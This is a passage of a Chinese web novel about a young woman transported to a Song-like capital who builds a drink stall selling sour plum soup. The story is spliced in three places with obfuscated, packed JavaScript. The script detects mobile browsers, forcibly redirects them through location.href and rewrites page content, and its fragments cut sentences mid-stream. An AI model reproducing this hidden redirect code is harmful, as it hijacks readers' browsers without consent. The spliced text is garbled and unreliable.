《在古代营销卖奶茶，赚翻了》 1. 第 1 章 祝余怎么都想不到，自己能一觉睡到穿越，还是穿到一个架空宋的朝代。 “豆腐，卖豆腐咧！” “枣糕、桂花糕、广寒糕......” 日头高升，金红色光线直直洒落在东京府。初夏的阳光十分温暖，照得市井都热闹了起来。 汤饺麻团、羊杂咸菜、胶枣杏汤...... 东京府聚天下之奇，若外乡人行至其中，定眼花缭乱目不暇接。 “紫苏饮，酸甜可口的紫苏饮......” 在一片吵架似的叫卖声中，一声有气无力的吆喝格格不入，被淹没在叫卖大潮中。 此人就是祝余，在梦中猝死穿到此处的倒霉蛋——祝余。 这个朝代和祝余学过的宋朝历史差不多，虽历史人物不同，但制度、风土和历史走势大差不差，让祝余的恐慌减少许多。 幸运的是，祝余穿上的这位同名原主是个良民孤女。 原身猝死后，祝余来的这几天没有被人发现异常，她摸索着适应了这个世界，没有被当成异类烧死。 原身虽是个刚成年的孤女，却也能靠着卖“饮料”养活自己。 “客人，日头热了，来碗紫苏饮解解渴吧。” 想吃饭就得挣钱，有购买意向的客人经过，祝余虽不抱希望却也仍张嘴吆喝。 和历史上的宋朝初期一样，朝廷强盛，国家富强，吃喝享乐行当发展空前繁荣。 各式点心、茶水饮品是如今百姓的“零食”，原身做的小生意就是属“饮料”类的行当。 当然，原主能因各式生活习性导致猝死，自然是赚不到钱的。 路过那人听到祝余清脆的声音，转脸给了她几分视线，看清她较之周围小贩相对白净清秀的脸后便走上前来。 有戏！ 祝余见此心中激动，不枉费她特意把自己收拾干净。看人先看脸，门面也是生意的一部分。 祝余穿越前也开过店，为了赚钱学了些销售心理学。 其中【首因效应】是引客的第一步。 所谓首因效应，就是收拾好门面，给客人建立有力的第一印象。或物美价廉、或品类多样、或干净卫生...... 对于消费者来说，第一印象不好，便没了在你这里消费的冲动。 原主猝死前身体不好，留给祝余可调配的原材料不多，由于没有记忆，她只能凭着所学知识，勉强还原历史上有名的饮子——紫苏饮。 即是这个世界有名的饮品，售卖的摊贩自然不在少数，且竞争对手们品类多样，祝余完全没有竞争力。 她只能把小摊车和自己这个卖家收拾干净，至少有点优势。 那小娘子果然被祝余清脆悦耳的声音吸引看了过来，她的视线在干净的小摊上转了一圈，最后落在祝余蜡黄却清秀的脸上。 ‘这小娘子摊子不似其他摊子般脏乱，人也收拾得利整，正好我也渴了，便在她家买碗饮子吧。’ 那客人这般想着，挪动脚步向祝余的小摊靠近。 “不知娘子这儿有何饮子售卖？”那娘子目光在台面上的木桶流连，眉头不自觉拧了起来。 怎的只有紫苏饮？ 祝余心中咯噔，语气不太自信：“今日只有紫苏饮，娘子来一碗？” 若自己是客人，看到一个饮料摊不如其他家种类多，对它的味道自然不敢抱希望。 果然，那客人摇摇头，对祝余抱歉一笑便离开了。 唉—— 祝余摸清情况后在两天前重新出摊，但在这小摊竞争激烈的东京城，她赚不到钱！ “嗤！” 正当祝余要被周身的气馁情绪淹没时，隔壁传来一声毫不收敛的嘲笑声。 祝余闻声直起身子，看向隔壁大娘。 这一眼虽不凶狠，却直接犀利。 面对祝余这么直接的反馈，大娘下意识心虚地挪开眼。 避开对视的下一秒，隔壁大娘又不忿地自顾自生起了气。 ‘我心虚什么，该心虚的是她！往日看她文文静静不爱说话，自己帮过她几回，她没有感谢回馈也就算了，前段时间生个病回来变得神神叨叨，不走正道。我笑一声怎么了！’ 隔壁大娘故作凶狠瞪了回去，却没对上祝余的眼神。 此时的祝余已在收拾东西，一反常态在午时日头正盛、饮子最好卖的时候收摊。 ‘算你识相，反正也卖不出去，不如早早回家另寻出路。’ 隔壁大娘不再关注，扭回头卖力吆喝自家生意。 祝余收工是真，却不是隔壁大娘想的那般气馁。 她一直是个乐观要强的人，在原来的世界生意也是做得有声有色，怎会轻易被打倒。 不过这离奇的穿越确实让她昏了头，前些日子只敢小心翼翼地按图索骥。 她犯了个很大的错误。 做生意第一步，就是要市场调研，决定路线。 而她因自己是天外来客，束手束脚，只了解个大概，就按着原主步调继续生活了。 是她昏了头。 原主的路子要是可行，生活又怎会这般艰难？ 不能再埋头莽下去了，我自己孤零零一个人在这古代封建社会，是真的会饿死！ 利索收拾好东西后，祝余推起小摊车就往家走。 不算大的摊车压在瘦弱的身躯上，还是勉强了些，祝余的身躯依旧挺力，踏出的脚步比今早来时更有劲了！ 现在还能自在活着，就是赚到！ 大不了重新开始！ 她有着千年后的开店经验，上下几年前的广告、销售知识，还学习过销售心理学，干什么都会成功！ 我的店开在哪儿都能大卖！ —— 祝余干劲十足，把摊车推回原主租住的破旧小院后，随便喝了碗米汤对付几口便打算出门。 “咚、咚、咚——” 正当她要出门时，院门被敲响了。 “小祝、祝余在吗？我是宋大娘。” 祝余迈出的脚又收了回来。 宋大娘？ 祝余穿过来后把原主租住的小院翻了遍，其中不乏账本契书。 从账本一笔笔细无巨细的记录可看出，原主几乎没有交际需求，果然经过后续的打探证实原主连邻里都鲜少来往。 也是从租赁契书上的信息，祝余才知道原主糊口的行当及摆摊地点。 在东京府摆摊不似现代的夜市，这儿一摊一地都划分清楚，需要和相关的部门租赁交摊租。 祝余还记得契书上的交租日期，便是离租期还剩月余要收租，也应是在街上沿路一道收过去，何必东一家西一户上门。 来的人，大约是来收这小院租金的。 祝余深吸一口气，垂头耷肩开了小院门。 她开门看了眼人后嘴唇微动，而后垂头站着。 “宋大娘......”她嘴唇翁动，声细如蚊。 祝余开门后这反应，让宋大娘沉默一瞬，而后重重叹了口气。 “哎——” 赌对了！ 祝余低着头维持着不好意思的状态，心里却乐开了花。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433248|169267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依照原主的交际习惯，祝余猜测她面对前来收租的房主，自是半句话不会多说的状态，更别说‘祝余’现在是没钱提前交租的情况，自是无言面对宋大娘。 “宋大娘，能否再容我两日。” 宋大娘已经心软，祝余也不能完全沉默。 宋大娘吸了口气，就要拒绝。 这小娘子虽可怜，但提前一月收屋子的租赁钱是规矩，若开了口子，日后人人都央求，她便难做了。 “若不提前一月交赁钱，那便是一个月后不再赁屋的意思，你这般......” 宋大娘边说边转动眼珠，视线从祝余枯黄的发顶移到窄小的院中。 祝余租的是东京城内常见的一房一院，因着位置较为偏僻且院子相对窄小，小院租金较低。 院子实在是小，一间方寸小屋，一方无井小院，墙边的炉子柴堆便是厨房。 按说一人堪堪够住，祝余一个带着推车的小摊贩竟也勉强住进来了，还将院子收拾得井井有条。 宋大娘视线从满满当当的有序小院中收回，重新落在眼下的脑袋上。 “哎——”她又叹了口气，“今日也走累了，余下的院子便五日后再来吧。” 祝余猛地抬头，惊喜的看向宋大娘，“多谢大娘，我......” 对上祝余满是感激的眼睛，宋大娘温和一笑，摆摆手转身施施然离开。 罢了，她一介孤女讨口饭吃不容易。 祝余仍站在原地目送她离开，脚步久久不移。 顺利达到了预设的卖惨目的，还是会被宋大娘的心软感动。 “让让！老吴家清凉解渴的紫苏饮！” 途径闲汉的吆喝声让祝余发散的思绪尽数回笼。 她回身收拾泡在半满水瓦罐中的紫苏叶，放进小背篓中码放整齐。 祝余背起满是紫苏叶的小背篓，锁好院门，朝着城内热闹坊市走去。 —— 东京府当真是十步一饮、百步一茶。 越进入热闹繁华的中心地带，祝余越庆幸自己停下脚步的决定。 价格低廉、商贩繁多，饮子和茶水受欢迎的程度，大大超乎想象。 “饮子嘞！各式各样的饮子！” “紫苏饮一文钱两碗！” “散茶！一文一碗！散茶！一文一碗！” 走过两条街，祝余心中大致有数，同时也头疼起来。 东京府的百姓大多爱喝茶水饮子，在街边渴了便会来上一碗，比起祝余原世界的奶茶咖啡有过之而无不及，市场巨大。 这么大块肉，谁都想吃一口，市面上的茶楼、饮店令人眼花缭乱，便是专做吃食的酒楼食肆，也有茶水饮子的菜单。 各类饮品的日常程度，便是街边的小商小贩，都能在这个市场喝一口汤。 祝余在一处吆喝卖力、生意却惨淡的小摊旁停下。 小摊贩因场地、成本的制约，售卖的种类相对较少，眼前这位摊主更是少，拢共就两样。 他左手一大桶紫苏饮，右手一方便携小灶煮着市面上常见的散茶。 较之左右至少四五种选择，他处在中间显得十分没有竞争力。 就在祝余要离开之时，那小摊前来了俩凶神恶煞的壮汉。 “哎，你！这摊子租期没两日了，快快交上赁钱！” 那小摊贩面色发苦，缩着肩膀求道：“几位哥再容我几日吧，我就快攒够，家中尚有......” “别同我说这些个没用的，你要养家糊口，我不用？人人这般，我这活计该如何？” 2. 第 2 章 催款壮汉岔开步子立在摊子前，头扭向一旁态度强硬。 已多容他几日，今日再收不到，他们替人干活的哥俩也没有饭吃。 “我......”那小贩欲言又止，瞧着俩壮汉的脸色，终是塌了肩膀。 他们前几日收款时已多容了些时日，再拖怕也是做不了主了。 他从怀中掏出一小串铜板，“今日仓促，我身上只带了这么多，余下的明日我再想办法给俩位哥凑齐。” 小摊贩边说着边将那串铜板举高转了一小圈，确认周围摊贩看到后，方才递给催款人。 俩壮汉明白他这是按惯例让周围人做个见证，以防雇主或他们事后遗忘或多收。 “明日这个时辰。”拿到了钱和保证，他们也不再多加为难，利索离去。 目睹了全程的祝余，心中不由隐隐焦虑。 她除了摊租还有房租啊，再赚不到钱便是西北风都没地儿喝！ 祝余加快脚步，将繁华街道上的饮子摊大致看了个遍后，她找了家摊子不小的饮子贩将背来的紫苏卖了。 能熬出十余桶紫苏饮的量，竟只卖出90文。 这令祝余不禁感叹，烂大街的大众饮品生意，果真是难做啊。 便是她都能卖出去，小半月赚的钱也不过百文，这如何能过活。 揣着钱，祝余直奔早已看好的农产品铺子。 经过观察对比，祝余发现城里百姓购买瓜果蔬菜主要有两种途径。 一是在小摊贩手中购买，便捷便宜，但小摊贩售卖的种类每日多不固定，且种类选择较少。 二是在出售农产品的铺子中购买，这类铺子大多和城外庄户合作销售，或是庄户租赁铺子出售自家产品。 加上铺子租金，在庄户的铺子购买较之小摊贩贵了不少，不过好在货源稳定、充足，且种类多样。 “梁家农货铺。” 烈日当头，祝余踏进铺子的时候正是正午饭后之时，店内仅一小厮看守。 “小娘子，瞧瞧需要些什么。” 正在打盹的小厮立马精神起来，忙不迭招呼道。 祝余：“可有乌梅、山楂、陈皮、甘草？” “这您可来对地方了，除了药材铺啊，这些可药可食的农货啊，就我们两家农货铺有！您要多少？”小厮乐得眉开眼笑。 家中三姑娘爱种这些作物，产量不多不少，若送到药材铺数量不够被压价，索性放在自家农货铺卖着，这些农货大多能做菜用，不过买的人不多就是了。 祝余瞧着他这样子，保守道：“每样大概一两，可有存货？” 她瞧了圈柜台，没看到要的货物摆着。 卖了几年货的小厮可是个人精，祝余这么一瞧他就知道这位客人在担忧价格。 “有，咱们铺子有不少咧！且才20文一两，也就甘草要些价，但不也过30文一两，可比药材铺便宜多了！” “烦请小哥拿出来我瞧瞧。” 听到价格，祝余放心下来，她打听过药材铺的价格，确实比这儿贵不少。 同一种作物，做食材是一个价，做药材又是另一个价。 “好嘞！” 小厮走到角落的柜子，将晒干存放的货物拿了出来，“您瞧瞧，这成色都是好的。” 祝余抖了抖外层包着的油纸，将底层的干乌梅往上翻了翻。 颗颗圆润饱满，确实是好东西，山楂、陈皮及甘草品相也不错。 大伙儿不惯常在农货铺买这些，这才便宜了祝余。 “成，每样半两，给我包起来吧！” 估摸着口袋里的存款，祝余不再讨价还价，爽快定下。 “好嘞！”小厮拿出小铁秤，手脚麻利地称货包装。 “小娘子你运气好，这是我们我们家三姑娘前天才晒好拿来的，早几日来还买不到咧。” 听到小厮语气中的自豪，祝余惊讶道：“这都是你家三姑娘种的？好能干的小娘子！” 这话可夸到小厮心坎上了，他称好山楂，临包装前又捡了几个小果装进去。 “是咧，我们三姑娘不仅东西种得好、对我们下人好，家中庄子也打理得井井有条！” 手底下打工的说好，那确实是个好老板。 祝余由衷赞叹：“你们三姑娘是个心善又能干的小娘子啊！” 小厮将包好的三个纸包细细绑好，一手收钱、一手笑吟吟地递给祝余，“是咧！” “娘子您走好，下回还来啊！” “好，多谢。”祝余被他的笑容感染，离开的脚步轻快了几分。 等日后小摊子做起来了，她也要招这么个能说会道、敬爱老板的员工。 又跑了几个地方买齐了东西，祝余背篓满满、口袋空空回了家。 - “呼--” 回到逼仄小院将背篓卸下，祝余深深松了口气。 这具身体还是太差了，以后赚了钱可得好好补补，身体是革命的本钱。 稍作休息后，祝余就撩起袖子开始干活。 她先将买回来的材料洗净、切开、泡水，又拿着大水桶出了两趟门，将院中的小水缸装满。 前期准备工作做好了，祝余正式支锅烧火，熬煮明日要售卖的酸梅汤。 当缓慢但顺利升起火的时候，祝余再次感谢上辈子在农村生活的童年经历。 “咕噜—咕噜—咕噜——” 明亮温暖的火苗舔舐着锅底，锅中水液逐渐沸腾，咕噜噜冒起水泡，湿润的白色水汽向上升腾，融入黑暗的夜色中。 祝余捞起浸泡了小半时辰的材料，上下抖手简单控了控水，而后放入沸腾的大锅中。 浸润着凉水的食材方一入锅，翻腾的水液当即平静下来。 祝余又拿起搅拌的长木棒，放入锅中搅了搅，这才抬起酸痛的脖颈左右转动。 这一抬头，祝余才惊觉天色渐晚，一轮弯月出现在天幕，随着夜色降临逐渐明亮。 “真美啊！” 未经过大气污染的夜空，明月皎皎，群星闪烁，是上辈子从未见过的美景。 许是接受了穿越的现实，异世生活有了盼头和目标，祝余觉得今夜的天格外迷人。 忙里偷闲欣赏了一会儿美景，锅中的汤水又沸腾滚动起来。 祝余点了一盏小油灯堪堪照亮，又往锅中放了一小把冰糖，而后不断搅动。 咕噜冒泡的红汤变得清亮，随着冰糖的融化，酸甜的香味渐渐散发出来。 清浅却霸道的酸甜香味儿钻进鼻腔，闻得祝余的口腔止不住分泌唾液。 成了！ 祝余抽出几根柴火，只余小火煨着。 木棒换成大勺，拨开浮动的材料捞起一小勺酸梅汤放到小碗中。 等不及汤水放凉，祝余鼓起腮帮子用力吹了吹，待汤水热气散了些，便急忙入口试喝。 微烫的酸梅汤一入口，祝余的眼睛就亮了起来。 不愧是流传改良了上千年的配方！ 虽不如冰镇的那般好喝，温热的也是让祝余不禁一口接着一口。 祝余熄了火将酸梅汤过滤盛出，干劲十足。 兴奋之余，她又不禁担忧，这儿的人能接受这个口味吗？ 历史上的酸梅汤实在宋朝后期兴起并开始流传的。 虽历史人物不同，但祝余确定这儿上到朝廷制度、下到风土口味，都是她印象的宋朝。 虽是架空时空，但饮食口味一样，那百年后兴起的饮料提前些出现，定也是深受喜爱的。 明日算是祝余在这儿正式做买卖的第一日，她压下正常的焦虑情绪，继续手中的活计。 “没关系，明日定能大卖。” — “狗蛋儿，回家吃饭啦！” 隔壁院娘子的叫唤声悠悠传来。 “哎！” 巷中玩耍的小儿扯着嗓子扬声回应，“这就回！” 他丢下手中的木棒，同伙伴们道别后往小巷深处抄近路回家。 “什么味？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433249|169267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就要跑出小巷最窄处时，那小孩儿停下脚步，仰头凑起鼻子不断吸气。 “好香的味儿！” “狗蛋儿！” “来了！” 娘亲的叫唤让小孩放弃探寻香味来源，咽着口水跑出小巷，朝家奔去。 —— “咚——咚——咚——” “卯时至，坊门开！” 又是一日太阳升起，随着坊门开放，东京城内的人从各坊涌出，开始新一日的流动交汇。 即将迎来正经开业的祝余也早早起身，简单填饱肚子后准备出摊。 放凉的一大桶酸梅汤，抬上小摊车绑紧。 一桶清水盖上盖子，装车固定。 碗、抹布、小马扎、竹筒长勺、一扎大竹叶...... “这广告板可不能忘了。” 祝余昨晚用木炭在一块木板上画了块广告，打算用来吸引客人。 广告广告，出了新货不广而告之，潜在顾客们要怎么知道呢？ 装好东西后，祝余推着小摊车出了们。 “赚钱去咯！” 小心推着餐车，祝余七拐八绕出了巷子，来到租赁的摊位。 这个位置濒临外城，附近又无城门，故平日里人流量不大，摊子的租赁费用较之其他位置便宜不少。 “听说了吗？隔壁王娘子得到消息，咱们这块儿赁钱要涨。” 祝余刚放下车子，就听到附近几个摊子的聊天内容。 “有所耳闻，说是最近上头松了些，交钱的散户可集中进城卖菜咯，安排的位置我们这块地。” “若真是这样，咱们这儿的生意能翻上几番咧！” “......” 祝余将他们的讨论尽数收入耳中，心思微动。 这儿摊租还剩月余，看来下回续约要涨价。 如果她没记错的话，东京城的坊市之分就要结束了...... 祝余脑中思绪纷飞，手上的动作也一点不慢。 卸货、摆放、开盖、擦桌......她有条不紊地做着开摊前的准备。 “酸梅汤，这是新出的饮子？” 一皮肤黝黑的马夫牵着一匹拉着空板车的马经过，他满头的汗都在诉说自己的疲惫。 吸引他的正是祝余的广告木板牌。 满街的小贩商户叫卖，再加上过路百姓的讨价还价，要想在人声鼎沸的街头靠叫卖吆喝，祝余的酸梅汤赚钱大计，怕是要胎死腹中。 文字广告，千年来经久不衰、立竿见影的售卖辅助手段。 瞧，客人不就被吸引过来了？ 这块写字的木板挂在摊车顶部，正是大多人数额头的位置，不会被来来往往的人挡住，又能吸引来往张望者的目光。 马夫抬手擦了擦满头的汗，拉着板车小摊凑近。 “酸梅汤——酸甜解渴、消暑必备。” 他正想找碗茶水饮子解渴，就看到了这块招牌。 更新奇的是，俊逸的显眼大字旁，还有寥寥几笔便将一碗‘酸梅汤’画得十分形象的线条画。 新奇的木牌、形象的简笔画、朗朗上口的广告语、闻所未闻的‘酸梅汤’，这几种要素一叠加。 别说是正渴着的车夫，不少过路人都被吸引了过来。 “大伙儿都来瞧一瞧，本铺最新研制的酸梅汤，酸甜解渴、消暑必备！” “一碗仅需两文！” 平时不吆喝是因为喊不够，且方圆十里一样的吆喝声没人听她的。 今天不一样了！ 小摊上挂着新奇有趣的广告牌，给小摊吸引来了不少客人。 这时候的介绍和叫卖才是事半功倍。 “酸梅汤？怎的没听说过。” “酸梅子确实生津解渴，不过这熬成汤还真没见过。” “两文一碗咧！” “一碗紫苏饮才一文一碗，这一碗酸梅汤可能买两碗咯......” “贵了些......” 3. 第 3 章 两文一碗饮子茶水，对东京城大多数百姓来说，是可以承担的。 不过经常在这一带进出的多是消费偏低的百姓，东京城嗜茶饮，故而偶尔一文一碗的茶水、饮子大伙儿都习以为常。 不过若是花费双倍的价格，试喝一碗新推出、不知口味的‘酸梅汤’。 瞧着面前隐约可见清亮透红的汤饮，围观的潜在消费者们还是犹豫。 隔壁娘子看祝余摊子的情况，面色不佳。 ‘这小娘子，昨日还发鸡瘟似焉头巴脑的，今日这是抽的什么风，不但紫苏饮不卖，还只整个什么酸梅汤！’ ‘这般做生意，早些黄了嫁人算咯，在隔壁瞧着晦气。’ 瞧着许多人祝余摊前许多人围观却不买，眼瞧着要鸡飞蛋打，隔壁娘子的眉头越皱越紧。 祝余眼看着围观的人越来越多，周围再挤不进人后这才开口。 “大伙儿放心，我这酸梅汤啊十分酸甜可口，论解渴啊那可是一碗顶三碗饮子！” “是不是真的哟，王婆卖瓜都说好咧！” 祝余这侃侃而谈推销的样子，让周围人也笑着接话。 祝余笑着接过这声打趣，“闻名不如见面，千问万问不如亲自试喝一口，大伙都尝尝？” 说着，她便从摊车柜子里摸出一小把竹叶，架在碗沿上。 哟，还有免费尝咧！ 这下大伙儿是真感兴趣了。 试试呗，不要钱的，不喝白不喝！ 祝余捻起一张竹叶，一卷、一叠就成了一个竹叶小杯。 她将木桶盖掀开大半，清亮红润的酸梅汤展现在大家眼前。 拿起竹筒长勺伸进桶里搅了搅，舀出一小勺装进临时的竹叶小杯中。 “客人您尝尝。” 祝余将装好的试喝小杯递到大汗淋漓的车夫面前。 这位客人方才热情搭话，瞧这满头汗也很需要这口酸梅汤。 “哟，多谢多谢。” 车夫惊喜地接过着这杯‘竹叶酸梅汤’，露出一口大牙咧嘴道谢。 不要钱，谁会拒绝免费试喝呢？ 视线跟随着送出的第一杯试喝，祝余心里不由得紧张起来。 ‘吸溜——’ 车夫是真渴了，顾不上慢慢尝味道，匆匆过了口便囫囵咽了。 酸梅汤一入口，车夫的眼睛微微睁大。 他不自觉砸吧嘴，感受口腔中酸甜的滋味儿。 这越品，他眼中的光便越来越亮。 “给我来一碗！不，两碗！” 他痛快掏出四个铜板，说着还忍不住咽了口口水。 这反应，夸张到让围观人群觉得车夫是找来的托。 不多时，他们就改变了想法。 “好嘞！” 祝余止不住地笑。 卖出两碗酸梅汤后，祝余双手不停。 折竹叶杯、舀汤、送出...... 随着她不断重复送出试喝，围观的眼睛亮了一双又一双。 “好喝，我来一碗！” “还真不错，酸酸甜甜，小娘子，也给我来一碗！” “确实不错。” “好滋味！我原以为先前那人是托咧。” “......” “好嘞！” “收您两文。” “您的一碗酸梅汤，请拿好。” “......” 收钱、装碗......祝余嘴上招呼不停，手上的动作也没有停下。 围在最里圈的车夫，凭借自己高大的身形突破层层人墙，回到了自己停放在一旁的马车旁。 “呼——爽快！”两碗酸甜冰凉的酸梅汤下肚，他感觉身上松快不少。 “这位大哥，这里边是什么热闹啊？” 眼瞧着带着“最中心情报”的人挤出来，路过的百姓赶紧过来打听。 祝余选择这位热情的话痨大哥作为第一个试喝客人，是十分正确的。 他在十分口渴的时候喝到了酸甜解渴的酸梅汤，且带着“第一个吃螃蟹的人”莫名自豪感，推销起来那叫一个卖力。 “新出的饮子...酸梅汤，可好喝咧......是咯，是酸甜的梅子味儿......” “两文一碗，不亏的......来都来了，去尝尝吧......” 话说这凑热闹啊，真是人骨子里的天性。 眼瞧着祝余这小摊热热闹闹的，在聚光灯效应下围过来的人是越聚越多，再加上外围车夫大哥的推销，大伙儿都想着来碗酸梅汤尝尝。 “哟，实在是对不住，摊子的碗不够，我得给大伙儿洗洗，马上！” 小摊第一次迎来这么大的客流量，备用的十几个茶碗很快用完。 祝余立马从拿出备好的一桶清水、两块干净的抹布。 她先用第一块布沾满水、淋挤在需要清洗的碗上，再用手重点搓一搓碗沿，接着用抹布淋水再过一遍清水，最后用干净的抹布擦干水渍。 小摊从里到外只有祝余一个人在忙活，她停下来洗碗，等待着的客人们视线自然跟随着她的动作。 大伙儿虽着急，却难得没有大声催促或嫌祝余多此一举。 认为餐饮界食品卫生问题是必须的基础，祝余在维护小摊整洁和餐具干净上，打心眼里觉得这是必须的。 误打误撞，祝余戳中了这一带百姓未曾重视，却也一直有所关注的一点——干净。 利索洗碗的她没想到，卫生习惯不错的自己，不知不觉获得了不少客人的好感。 “收您两文，大娘这是您的酸梅汤，您拿好。” “大哥一碗酸梅汤......好嘞，收您两文！” “您也来一碗，好嘞！” “......” 酸梅汤比预料中的受欢迎，祝余熬了两大锅，不过小半个时辰就卖光了。 “感谢各位捧场，小摊今日的酸梅汤卖光了！” “没啦？我这才来呢！” “在这儿挤半天没喝上咧......” “......” 前头喝过的评价无一不好，后来没喝到的客人自是馋得口腔生津。 祝余停下手中的动作，看着客人的眼睛笑着解释道：“今日上的新饮子，不知大伙儿爱不爱喝，便煮得少了些。明日还是这个时辰，我多煮些！” “看来明日得赶早......” 得到这般正式的回应，客人们怨气不再，嘟囔着离开了。 大卖，收工，首战告捷！ 正午刚过，祝余就收拾东西准备收工了。 她弯下腰，借着小摊车的遮挡把钱袋揣进怀里。 这可是赚到的第一笔“巨款”，东京城的治安再好，也可得藏好了。 ‘昨日买食材花了50文，今日这两锅用了大半的材料，除去人工成本仅花了20文左右。’ 祝余手上收拾清洁着摊车，脑中兴奋算账。 ‘今日洗了有三趟碗，不带送出去的试喝，买了能有7、80碗！’ ‘一个上午一百多文！’ 手握后世的配方就是香！ 若不是赶不上宵禁，祝余甚至想立马再熬几锅来卖。 今晚加菜，吃肉！ 有了盼头、得了收获，祝余推车回家的背影都透着几分雄赳赳气昂昂。 出摊不到一个时辰便卖光回家，卖的还是两文一碗的新品酸梅汤。 祝余今日的生意，瞧得周围同卖饮子的小摊贩们十分眼热。 祝余因生意做不下而灰溜溜收摊的场景，只在昨日。 这这不过十几个时辰的功夫，就眼看着她因为新饮子而赚得盆满钵满。 这段时间的巨大变化，让周围卖饮子的摊贩们忍不住嘀咕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433250|169267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不就是酸梅汤？ 明日我也煮了卖！ —— “......198、199、200、201、202！” “有两百文了！” 回到家后，祝余关起门来清点“财产”。 还别说，从无到有从小钱赚起的感觉还不赖。 “填饱肚子继续干活！” 祝余从不吝啬犒劳自己，清汤寡水好几天了，她要吃点好的！ 昨日在街上可把她给馋坏了，今天咱有钱了，出去吃！ 羊杂、东坡肉、丝鸡面、大片羊粉…… 馋虫一上来，祝余甚至有想去樊楼搓上一顿的冲动。 不过听闻那樊楼金碟银具，一碟子青菜都要上百文，只能等日后赚大钱了才敢上门咯。 吃不上樊楼，小巷里的小摊子也不错。 祝余在小巷挑水时，曾听街坊们夸赞过某家面摊的丝鸡面，色香味俱全且物美价廉。 七拐八弯穿过巷子，祝余发现她要去的这家面摊，居然在梁家农货铺隔壁。 经过铺子时，祝余这回没看到那昏昏欲睡的小厮，铺子空空荡荡的似都在后院忙活。 “店家，劳驾来碗丝鸡面。” 祝余学着当地人的习性，大刀金马往那一坐。 店家瞧了眼这位面生的小娘子，“好嘞。” 这小娘子面黄肌瘦，身子麻杆一般，不曾想潇洒的动作做起来也像模像样。 店家莞尔一笑，又多抓了一小把面丢入锅中。 小葱、蒜末、白芝麻...... “滋啦——” 热油一浇，香味一下就炸了出来。 “滋啦——” 又是一勺热油下去，馋得祝余直咽口水。 “客人的丝鸡面。” 撒上一把翠绿小葱收尾，一碗喷香可口的丝鸡面上了桌。 “多谢！” 祝余把数好的铜板递给店家，忙不迭抽出筷子搓了搓开吃。 将配料囫囵拌开，祝余卷起满满一筷子沾满配料的面条，张大嘴塞了满满一口。 “嗯——” 满嘴鲜香爽口！ 这一顿祝余是狼吞虎咽、风卷残云，不一会儿一大碗丝鸡面就见了底。 “好吃！”拍了拍肚子，祝余满足感叹。 吃饱喝足，继续干活赚钱！ “店家，多谢招待，我吃好了。”祝余和用料实在的店家招呼一声，揉着肚子朝梁家农货铺走去。 店家：“哎，您下次再来啊！” “......三娘，你年纪也不小了，迟早都要嫁人，不如就许了我吧。” “登徒子！再不出去我轰人了！” “你一小娘子支撑门户，家中没个男人是不行的......” 祝余走还未走近梁家农货铺，就听见铺中传来一男一女的争吵声。 听着争吵内容，她加快脚步。 “出去！” 未等祝余走近，就看到一粉面男子被一扫帚轰了出来。 “我的事轮不到你操心！” 一小麦肤色的高瘦女娘拿着扫帚抵在铺门，瞧着被气得胸膛剧烈起伏。 正午饭点过后街上行人不多，但这热闹一出，大伙儿跟约好了似的纷纷探出头来围观，冲着这一男一女指指点点。 见此，那小娘子眼眶通红。 那男子倒是厚脸皮，理了理衣衫嬉皮笑脸，“让各位见笑了，我同未过门的娘子闹了些矛盾，都散了吧。” 许是见过几次这种情况，又许是家中吵嘴，众人听男子这般解释便要离去。 “我同他并无婚约......”眼看着围观人群就要离开，那小娘子似碍于名节就要咽下委屈。 “此人真是你的未婚夫婿？” 祝余大踏步走到那女娘面前，扬声问道。 4. 第 4 章 “他真是你的未婚夫婿？” 小娘子红着眼抬头，对上祝余略带火气的双眼。 “我......” “我是城东梁家农庄的梁家三娘......” 梁三娘望着瞧热闹的人群，鼓起勇气说道：“我与此人并无干系，爹娘尚未将我许配人家。” “哦？”祝余满脸厌恶转身看向那粉面男子，“如此说来，此人便是在调戏良家女？！” “胡说八道！” 那男子听到周围对他指指点点，虚张声势道，“这是我二人家事，你一闺中小娘子莫要多管闲事！” “你我并无媒聘！”形势的转变，让梁三娘挺直了腰杆。 眼看着那男子悲愤咬牙，红着脸就要撒泼污人名节，祝余对着围观人群大声喊：“报官！此人骚扰良家女，调戏女子！” 这个朝代律法对女子的保护算得上是古代之最，故而东京府有不少女子敢于走出家门经商摆摊。 寻常男子若是被判为调戏罪，轻则打板，重则下狱。 故而一听到自己行为的遮羞布被扯下，粉面男子瞬间慌了。 “非也，我们两家说好了！”他深知两性关系只要扯上婚约，梁三娘就只能任他拿捏，外人再是热心，也越不过他这个‘夫君’去。 果然，一听两家可能说了媒，四周想要见义勇为的围观人群，皆犹豫着歇了心思。 “哦？那么说是过了礼，可有信物？” 祝余压制着胸中的恶心，仍站在梁三娘身前问道。 